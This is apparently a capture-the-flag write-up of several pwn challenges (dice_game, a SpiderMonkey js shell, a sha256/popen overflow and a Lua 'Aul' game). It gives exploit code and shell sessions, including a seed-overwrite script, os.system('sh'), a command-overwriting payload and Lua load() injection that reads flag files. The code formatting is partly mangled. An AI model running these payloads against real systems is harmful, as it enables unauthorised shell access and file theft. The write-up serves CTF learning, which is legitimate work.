$ file dice_game dice_game: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=25432b87a385dc5acec03263b2e3746f287ed159, stripped $ checksec dice_game [*] '/root/dice_game' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled $ ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al. Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 5.4.0 20160609. Available extensions: crypt add-on version 2.1 by Michael Glad and others GNU Libidn by Simon Josefsson Native POSIX Threads Library by Ulrich Drepper et al BIND-8.2.3-T5B libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$ ./dice_game Welcome, let me know your name: 000000000000000000000000000000000000000000000000000000000000000000000000 Hi, 00000000000000000000000000000000000000000000000000000000I. Lets play a game. Game 1/50 Give me the point(1~6): 6 ... Give me the point(1~6): 1 1You win. Game 50/50 Give me the point(1~6): You win. Congrats 0000000000000000000000000000000000000000000000000000000I Segmentation fault
Or use cdll of ctypes to load libc and run C language functions in python:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
from pwn import * from ctypes import *
sh = process('./dice_game') sh = remote('220.249.52.133',39266) libc = cdll.LoadLibrary('./libc.so.6')
print sh.recv() payload = '0' * 0x40 + p64(0x3030303030303030) print payload libc.srand(0x3030303030303030) sh.sendline(payload) for i inrange(50): num = libc.rand() % 6 + 1 sh.recv() sh.sendline(str(num)) pass sh.interactive()
$ unzip monkey.zip Archive: monkey.zip inflating: js inflating: libnspr4.so inflating: libplds4.so inflating: libplc4.so $ file js js: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=e3c6583926710fbbace7f075fd88ea7963faa0e0, not stripped $ checksec js [*] '/root/js' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Pseudocode is a mess.
Analysis
We are familiar with JavaScript, but what is js shell? It is a command line program included in SpiderMonkey source code, and it acts like Python interpreter.
Use help() to see help page, and use dumpHeap() to dump the heap. Among help() result we can see:
$ nc 220.249.52.133 56711 js> os.system('sh') os.system('sh') ls bin dev flag js lib lib32 lib64 libnspr4.so libplc4.so libplds4.so run.sh cat flag cyberpeace{xxxxxxxxxxxxxxxxxxxx}
Or use read to read file (know it from other writeup):
I edited some functions’ name and even changed some variables’ declaration in IDA to simplify the main logic.
Analysis
The program reads input and do sha256 hash, then compare it with stored hash. If they are equal, a command will be executed.
The stored hash (9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127) and command (/bin/cat ./secret_data.asc) are both hardcoded, however it is not easy to unhash it, so we can overflow them as controlled content (sadly, cannot control program flow).
In main() we input to dest, program calculates the sha256 result as v17 and compare it with v15 (stored hash). Command is in v14 and will be 1st parameter of popen. Imitating PREPARE() we write our payload: payload = padding (0x100) + command (0x1b) + sha256(padding) (0x40)
Note: because it uses popen which essentially fork a process to execute, if we set command as /bin/sh we can’t receive interaction directly. But if we exit the sh we can get all output.
Exploit
Produce payload:
1 2 3 4 5 6 7
$ ipython ... In [1]: import hashlib In [2]: padding = 'a'*0x100 In [3]: payload = padding + 'sh;'.ljust(0x1B,'b') + hashlib.sha256(padding).hexdigest() In [4]: print payload aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaash;bbbbbbbbbbbbbbbbbbbbbbbb02d7160d77e18c6447be80c2e355c7ed4388545271702c50253b0914c65ce5fe
$ nc 220.249.52.133 41676 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaash;bbbbbbbbbbbbbbbbbbbbbbbb02d7160d77e18c6447be80c2e355c7ed4388545271702c50253b0914c65ce5fe ls exit sh: 1: bbbbbbbbbbbbbbbbbbbbbbbb02d7160d77e18c6447be80c2e355c7ed4388545271702c50253b0914c65ce5fe: not found bin dev flag.txt lib lib32 lib64 secret_file
Ncat: Broken pipe. $ nc 220.249.52.133 41676 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaash;bbbbbbbbbbbbbbbbbbbbbbbb02d7160d77e18c6447be80c2e355c7ed4388545271702c50253b0914c65ce5fe cat flag.txt exit sh: 1: bbbbbbbbbbbbbbbbbbbbbbbb02d7160d77e18c6447be80c2e355c7ed4388545271702c50253b0914c65ce5fe: not found cyberpeace{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
Aul
Attachment: None. Description: None.
It is a Lua shell.
Information
As it gives no binary, I can only know the program by interaction:
xV(w@�,��,�,��,�,@��,��,���,�,@��,��,����CA�$@@C$@�&� make_boardpopulate_boardboard_tostringfallrotatecrush rotate_leftreadAllhelpquitexit run_stepgame writelinelet's play a game
functionpopulate_board(board, filled, seed) local size = board.size if seed thenmath.randomseed(seed) end filled = filled or size * size * 3 / 4
localfunctionrand() local c repeat c = math.random(size * size) - 1until board[c] == 0 return c end
if filled > 0then for _,v inipairs{'a','b','c','d'} do board[rand()] = v end
for n = 1, filled-4do board[rand()] = math.random(4) end
return fall(board) end end
functionboard_tostring(board) locallines = {} local size = board.size for y = 0, size - 1do local line = "|" for x = 0, size - 1do line = line .. " " .. board[x+y*size] end table.insert(lines, line .. " |") end returntable.concat(lines,"\n") end
functionfall(board) local size = board.size local new_board = make_board(size, 0)
localfunctionfall_column(col) local dest = size - 1 for y = size-1, 0, -1do if board[y*size + col] ~= 0then new_board[dest*size + col] = board[y*size + col] dest = dest - 1 end end end
for x=0, size-1do fall_column(x) end
return new_board end
functionrotate(board) local size = board.size local new_board = make_board(size, 0)
for y = 0, size-1do local dest_col = size - 1 - y
for n = 0, size-1do new_board[n*size + dest_col] = board[y*size + n] end end
return new_board end
functioncrush(board) local size = board.size local new_board = make_board(size, 0) local crushers = {'a','b','c','d'}
for n=0, size-1do new_board[n] = board[n] end
for n = size, size*size - 1do if board[n-size] == crushers[board[n]] then new_board[n] = 0 else new_board[n] = board[n] end end
return new_board end
functionrotate_left(board) return rotate(rotate(rotate(board))) end
functionreadAll(file) local f = io.open(file, "rb") local content = f:read("*all") f:close() return content end
functionhelp() local l = string.sub(readAll("server.luac"), 2)
writeraw(l, string.len(l)) end
quit = false functionexit() quit = true end
functionrun_step(board) local cmd = readline()
if(string.len(cmd) == 0) then exit() returnnil end
-- prevent injection attacks if(string.find(cmd, "function")) then returnnil end
if(string.find(cmd, "print")) then returnnil end
local f = load("return " .. cmd)()
if f == nilthen returnnil end
return f(board) end
functiongame() local board = populate_board(make_board(8))
repeat
writeline(board_tostring(board) .. "\n")
local b = run_step(board)
if quit then break end
if b ~= nilthen board = b board = fall(crush(fall(board))) else writeline("Didn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.\n") end
untilfalse end
writeline("let's play a game\n")
game()
So local f = load("return " .. cmd)() might be the key part, because we can do code execution here.
It still has an unexpected solution. Like what we did in monkey, we can also obtain Lua shell directly by os.execute('/bin/sh')
Exploit
Expected solution on adworld wp:
1 2 3 4 5 6 7 8 9 10 11 12
$ nc 220.249.52.133 51731 let's play a game | 0 0 0 0 0 0 0 0 | | 0 1 0 0 0 0 4 0 | | 0 3 2 2 4 1 4 4 | | 0 3 2 3 2 3 4 3 | | 4 b 2 2 4 4 3 4 | | 3 2 4 4 1 1 2 2 | | 3 3 c d 3 3 2 3 | | 3 2 1 4 4 a 2 4 | load('lines = io.lines("flag")\n for l in lines do writeline(l) end') cyberpeace{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}Didn't understand. Type 'rotate', 'rotate_left', 'exit', or 'help'.